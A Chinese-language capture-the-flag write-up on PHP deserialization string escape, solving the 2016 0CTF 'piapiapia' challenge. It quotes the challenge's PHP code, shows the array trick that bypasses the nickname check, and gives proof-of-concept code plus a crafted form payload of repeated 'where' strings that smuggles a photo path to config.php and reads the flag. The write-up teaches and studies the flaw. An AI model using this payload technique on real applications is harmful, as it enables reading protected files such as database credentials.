PHP反序列化逃逸学习

写在前面

PHP 在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾(数组、对象等类型);反序列化时,结尾后的字符串会被忽略掉,例如:

1
2
3
4
<?php
$a = [1];
echo serialize($a); # a:1:{i:0;i:1;}
print_r(unserialize('a:1:{i:0;i:1;}gtflygtflygtfly')); # 正常解析出数组[1]

2016 0CTF piapiapia

注册登录后,是一个更新个人信息的页面;扫描路径得到www.zip源码

config.php文件中保存着数据库信息和flag变量

在profile.php文件中存在着反序列化:

1
2
3
4
5
6
7
8
9
10
11
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));

那么这道题很明显是构造反序列化使 $profile['photo'] 等于 config.php 来读出flag

在 class.php中定义了 user 类和 mysql 类,其中 class user extends mysql;user 类中定义了以下方法:

is_exists($username)  # 判断用户名是否存在
register($username, $password)  # 注册
login($username, $password)  # 登录
show_profile($username)  # 显示信息
update_profile($username, $new_profile)  # 更新信息
__tostring()  # 返回当前类名

mysql 类定义了以下方法:

connect($config)  # 连接数据库
select($table, $where, $ret = '*')  # 查询数据
insert($table, $key_list, $value_list)  # 插入数据
update($table, $key, $value, $where)  # 更新数据
filter($string)  # 过滤字符
__tostring()  # 返回当前类名

以反序列化为入口点,先看 $user->show_profile($username);

1
2
3
4
5
6
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}

其调用了父类的 filter 方法:

1
2
3
4
5
6
7
8
9
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/'; # /'|\\/
$string = preg_replace($escape, '_', $string); # 将传入的变量中的单引号或反斜线替换为下划线

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i'; # /select|insert|update|delete|where/
return preg_replace($safe, 'hacker', $string); # 将上述sql关键字替换为hacker
}

即传入的$username中的单引号、反斜线等关键字会被替换;之后调用 select 方法从数据库查询信息后返回

如果返回的信息不为空,那么会将上述查询返回的$profile进行反序列化;之后会获取$profile['photo']的内容;在 update.php 中找到相关的变量:

1
2
3
4
5
6
7
8
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
...
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));

这里将文件名进行了md5后再序列化存,调用 update_profile 方法时,序列后的$profile经过 filter 后才存入到数据库中:

...
$new_profile = parent::filter($new_profile);

那么我们不能直接修改文件名来控制读出的文件的内容了;再来看看表单的其他参数:

1
2
3
4
5
6
7
8
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

可以发现,phone 和 email 被限制死了,只有 nickname有古怪,判断条件用了个or运算符,当我们使 nickname 为数组时,前面的正则会返回 false,由于or的存在,只会判断后面的,strlen 的参数为数组时,会返回NULL,与10比较会转换为0;由此可知使 nickname 的参数为数组便可绕过这个过滤

那么我们构造 nickname ,使 profile 经过序列化、替换、反序列化后的$profile['photo']值替换掉原本经过md5后的$profile['photo']文件名,即可读出flag

我们先看看正常序列化的结果:

1
2
3
4
5
6
7
<?php
$profile['phone'] = '13393731122';
$profile['email'] = '123@qq.cn';
$profile['nickname'] = ['a'];
$profile['photo'] = 'upload/' . md5('gtfly');;

echo serialize($profile);
a:4:{s:5:"phone";s:11:"13393731122";s:5:"email";s:9:"123@qq.cn";s:8:"nickname";a:1:{i:0;s:1:"a";}s:5:"photo";s:39:"upload/1791e49ef8cf4fc717bdf26e9fad4fb7";}

那么现在 nickname 字段可控了,我们最终要得到的序列化字符串为:

a:4:{s:5:"phone";s:11:"13393731122";s:5:"email";s:9:"123@qq.cn";s:8:"nickname";a:1:{i:0;s:1:"a";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/1791e49ef8cf4fc717bdf26e9fad4fb7";}

即比正常的多出来这么一部分:

";}s:5:"photo";s:10:"config.php

那么如果我们直接构造:

1
2
3
4
5
6
7
8
<?php
$profile['phone'] = '13393731122';
$profile['email'] = '123@qq.cn';
$profile['nickname'] = ['";}s:5:"photo";s:10:"config.php'];
$profile['photo'] = 'upload/' . md5('gtfly');;

echo serialize($profile);
print_r(unserialize(serialize($profile)))
a:4:{s:5:"phone";s:11:"13393731122";s:5:"email";s:9:"123@qq.cn";s:8:"nickname";a:1:{i:0;s:31:"";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/1791e49ef8cf4fc717bdf26e9fad4fb7";}Array
(
    [phone] => 13393731122
    [email] => 123@qq.cn
    [nickname] => Array
        (
            [0] => ";}s:5:"photo";s:10:"config.php
        )

    [photo] => upload/1791e49ef8cf4fc717bdf26e9fad4fb7
)

这样并不能达到反序列化逃逸。由上面,序列化后的字符串经过了 filter 进行了替换,而且我们可以发现where被替换成了hacker,字符长度+1;那么只需在构造的字符串前加上31个where,它会被替换为31个hacker,字符串长度+31,那么s:5:"photo";s:10:"config.php";会被单独的解析为数组元素而不是字符串,且其后的字符串不会被反序列化,实现了逃逸:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$profile['phone'] = '13393731122';
$profile['email'] = '123@qq.cn';
$profile['nickname'] = ['wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php'];
$profile['photo'] = 'upload/' . md5('gtfly');;

function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/'; # /'|\\/
$string = preg_replace($escape, '_', $string); # 将传入的变量中的单引号或反斜线替换为下划线

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i'; # /select|insert|update|delete|where/
return preg_replace($safe, 'hacker', $string); # 将上述sql关键字替换为hacker
}

echo serialize($profile);
echo "\n";
echo filter(serialize($profile));
echo "\n";
print_r(unserialize(filter(serialize($profile))));
a:4:{s:5:"phone";s:11:"13393731122";s:5:"email";s:9:"123@qq.cn";s:8:"nickname";a:1:{i:0;s:186:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/1791e49ef8cf4fc717bdf26e9fad4fb7";}

a:4:{s:5:"phone";s:11:"13393731122";s:5:"email";s:9:"123@qq.cn";s:8:"nickname";a:1:{i:0;s:186:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/1791e49ef8cf4fc717bdf26e9fad4fb7";}

Array
(
    [phone] => 13393731122
    [email] => 123@qq.cn
    [nickname] => Array
        (
            [0] => hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker
        )

    [photo] => config.php
)

做法:

在更新信息时抓包,修改:

Content-Disposition: form-data; name="nickname[]"

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php

之后访问 profile.php,查看页面源代码,将图片部分的base64解码即可。